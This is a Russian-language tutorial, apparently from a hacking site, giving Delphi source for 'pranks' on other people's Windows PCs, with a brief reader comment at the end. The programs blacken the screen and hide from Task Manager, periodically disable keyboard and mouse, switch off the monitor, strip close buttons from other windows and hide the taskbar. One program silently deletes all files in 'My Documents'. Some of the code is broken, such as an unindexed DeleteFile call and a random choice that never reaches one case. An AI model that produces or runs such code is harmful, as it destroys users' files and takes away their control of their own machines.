Западло на Delphi #3 Источник: hack-info.org Куда подевался экран? Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши: program joke; uses Windows, Graphics; { тут мы подключаем необходимые модули } var desk:TCanvas; { тут мы объявляем переменные } begin end. Ну что же, каркас готов, теперь будем писать основной код: program joke; uses Windows, Graphics; { тут мы подключаем необходимые модули } var desk:TCanvas; { тут мы объявляем переменные } begin desk:=TCanvas.Create; { инициализируем переменную } desk.handle:=GetDC(0); { получаем заголовок десктопа } while true do begin Yield; desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной } end; end. Прога почти готова, жми на F9 и наслаждайся! Теперь осталось сделать что бы прогу нашу через CTRL-ALT-DEL не видно было: program joke; uses Windows, Graphics; { тут мы подключаем необходимые модули } var desk:TCanvas; { тут мы объявляем переменные } function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; begin RegisterServiceProcess(GetCurrentProcessID, 1); desk:=TCanvas.Create; { инициализируем переменную } desk.handle:=GetDC(0); { получаем заголовок десктопа } while true do begin Yield; desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной } end; end. Всё! Нашу заподлянку не снять через "три весёлых клавиши"!. Жми теперь CTRL-F9 и вперёд! Отключение клавиатуры Для начала запусти Дельфи, выбери в меню Project--> View Source и набери вот это: program antiklava; uses Windows; begin end. Так, основа готова. Теперь надо добавить ядро программы и объявления переменных: program antiklava; uses Windows; { подключение необходимых модулей } var klava:boolean; { объявление логической переменной} begin klava:=true; { устанавливаем значение переменной } while true do { начинаем бесконечный цикл } begin Yield; { делаем так, чтобы всё не подвисло } Sleep(2*60*1000); { ничего не делаем 2 минуты } klava:=not klava; { присваиваем переменной противоположное значение } EnableHardwareInput(klava); { и в зависимости от переменной, отключаем или включаем клаву с мышкой} end; end. Ну вот, всё что нам осталось - CTRL-F9. P.S. Большинство примеров написано на Win32 API. Если кто-нибудь захочет переписать их под любой другой язык программирования, знайте - это не возбраняется ВЫрубить монитор Давайте прикольнёмся над пользователем. Допустим выведем внезапно сообщение, типа... "Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!" и... вырубим монитор...(включить его чудилка уже не сможет)... procedure TForm1.Button3Click(Sender: TObject); begin if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER,0); end; Для того, чтобы программно включить монитор можете использовать следующий код: procedure TForm1.Button3Click(Sender: TObject); begin if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER, -1); end; Отключить кнопку закрытия Х чужого окна Для примера, запустите "Блокнот" и попробуем его кнопку закрытия окна сделать неактивной, кроме того пункт "закрыть" в системном меню тоже будет отключён! ;-] procedure TForm1.Button1Click (Sender: TObject); var hwndHandle : THANDLE; hMenuHandle : HMENU; begin hwndHandle := FindWindow(nil, 'Untitled - Notepad'); if (hwndHandle <> 0) then begin hMenuHandle := GetSystemMenu(hwndHandle, FALSE); if (hMenuHandle <> 0) then DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND); end; end; P.S. Вместо "Untitled - Notepad", нужно подставить заголовок того окна, которому вы хотите послать сообщение. ОЧИСТИТЬ "МОИ ДОКУМЕНТЫ" Мы изучим самый легкий способ: удаление всех файлов из папки "Мои документы" без учёта вложенных файлов. Для этого вынесем компонент класса ТFileListBox - это список файлов (находится на закладке Win3.1 палитры компонентов). Затем, с той же закладки, выносим компонент класса TDirectoryListBox - это список каталогов. Задаём ему свойство FileList, указывающее на список файлов (на компонент FileListBox1). Далее можно по созданию окна или по таймеру (если ваша программа многоразового использования) пишем такой код: procedure TForm1.Timer1Timer(Sender: TObject); var i:Integer; begin DirectoryListBox1.Directory:='c:\мои документы'; for i:=0 to FileListBox1.Items.count-1 do begin DeleteFile('C:\мои документы\'+FileListBox1.Items); end; end; СКРЫТЬ TRAY, ЧАСЫ, КНОПКУ 'ПУСК', ПАНЕЛЬ ЗАДАЧ Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши: program proga2; uses Windows; var Wnd:THandle; { объявляем переменные } int:integer; begin Randomize; { холостой прогон генератора случайных чисел } int:=(Random(3)); { выбор одного варианта из четырёх } case int of 0: { если первый вариант то } begin Wnd := FindWindow('Progman', nil); { прячем трей } Wnd := FindWindowEx(Wnd, HWND(0),'ShellDll_DefView', nil); ShowWindow(Wnd, SW_HIde); end; 1: { если второй вариант то } begin Wnd := FindWindow('Shell_TrayWnd', nil); Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil); Wnd := FindWindowEx(Wnd, HWND(0),'TrayClockWClass', nil); { прячем часы } ShowWindow(Wnd, SW_HIde); end; 2: begin Wnd := FindWindow('Shell_TrayWnd', nil); Wnd := FindWindowEx(Wnd, HWND(0),'Button', nil); {прячем кнопку "Пуск"} ShowWindow(Wnd, SW_HIde); end; 3: begin Wnd := FindWindow('Shell_TrayWnd', nil); Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil); { прячем "Панель задач" } ShowWindow(Wnd, SW_HIDe); end; end; end. По желанию можно вставить защиту от CTRL-ALT-DEL.
согласен - на делфи можно и короче написать так чтоб все повисло - но нормальные люди (ИМХО!!!) делфи не используют